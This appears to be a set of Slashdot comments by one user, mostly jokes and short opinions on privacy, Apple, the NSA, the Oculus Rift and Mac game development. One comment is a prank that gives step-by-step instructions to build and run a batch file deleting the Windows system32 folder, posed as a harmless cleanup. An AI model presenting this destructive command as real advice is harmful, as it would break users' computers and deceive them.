Of course, self driving cars seem to be a much better alternative to a phone that enters silent mode when being driven around.
You just wait until an emergent evil consciousness spontaneously forms out of the NSA's supercomputers. Seeing as the NSA will have backdoors into everything by that point, we'll have that thing playing toy cars with us. Now, where's my tinfoil hat?
So... Macs? They seem to be quite efficient at graphics editing, even when using integrated graphics cards. Not someone terribly interested in game development, though, so I wouldn't know. Still, you'd have to do most of the actual programming on the platform you're aiming for, just to be safe.
I finally get it. The weak get weeded out and jump ship to OSes with usable GUIs, while the strong remain, having learned to use the POSIX-compliant shell. They then come to the realization that if they're using the command line for everything anyway, they might as well switch to Linux. Wait...
Yeah, Windows XP worked fine before they added system32 under C:\\WINDOWS\. Delete that stuff. It's not necessary in Windows Vista, 7 or 8 either.
To delete:
1) Open up Notepad.
2)Type:
@echo off
del c:\WINDOWS\system32
3) Save as "anything.bat" (save as all files). Double-click to run.
I thought we were talking about privacy and security (which, if the iOS security whitepaper is anything to go by, are things that Apple's been better at), not diversity of uses. Besides, all those things you can't use iOS for won't matter to the average end user, which the iPhone, iPad etc. are geared towards. It does, however, bug me that you can't toggle all the encryption and sandboxing without jailbreaking (which I don't think anyone's been prosecuted for, yet). I would hardly call Apple evil for that, just restricting.
Look, I'm innocent! *turns red* I'm totally not a terrist! *turns blue* Don't... tap... my... phone... *turns purple* *GASP!* *sharp intake of breath* Fine, fine, I admit it, I'm a terrist, I conspired against the government to impose my extremist views of air-breathing upon the glorious nation that is the USA! Please spare my family!
Wait, wait. The Rift isn't an independent, it's a peripheral. You can't run a full-fledged OS on that. Someone could port the old OR software to be compatible with the new hardware and games written for it (the source code was shipped with the SDK, after all), but we don't even know whether Facebook is going to rape social networking into the Oculus yet. Well, at least we're not sure.
A 250-character password isn't nearly strong enough. The company's limiting my safety by not allowing the extremely secure 10×10^10 character password I thought of!
Most games are. Plus, Contacts, Notes, etc. on my iPhone may share their files from iCloud, but do their editing on local copies. Mail apps are partially local in that they cache messages, but are mostly just an IMAP interface to another mail server.
Slashdot Mirror
Someone's got to enforce the LOOAAAW!
That's the government's job.
Where the hell did this discussion spring up from? Is this some sort of subtle attack against the Android app format? I don't get it.
Goddamned kids and their Internet. The only true way is FedExing physical storage media.
What are you talking about? Dropbox always stores your synced files locally.
True, true. Is there a Mac-compatible equivalent to 3DS Max? Blender, maybe?

Has anyone here used SpriteKit on Xcode? Maybe we could confirm this at least for Macs designing 2D games.
Because Windows-running machines sell more and the OS has more publicity. Plebs gonna pleb.
GUI or even 3D graphics development

They're only dying because people are lazy.
What if this is Next Generation?
Anyone got a fuck-o-meter?

Could it be possible use TOR to ensure privacy? Also, I'd definitely mod this comment up.

Or "mutant," or "traitor," or "Commie-Mutant-Traitor" for that matter. We should ask Friend Computer.

The joke there took a few seconds to sink in, but good one. Wish I had some mod points.
Madness? THIS! IS! AUSTRALIA!

Or just have one of the following prompts on the third failed password entry: "Mash buttons really, really fast to gain access" or "Hold X to hack."
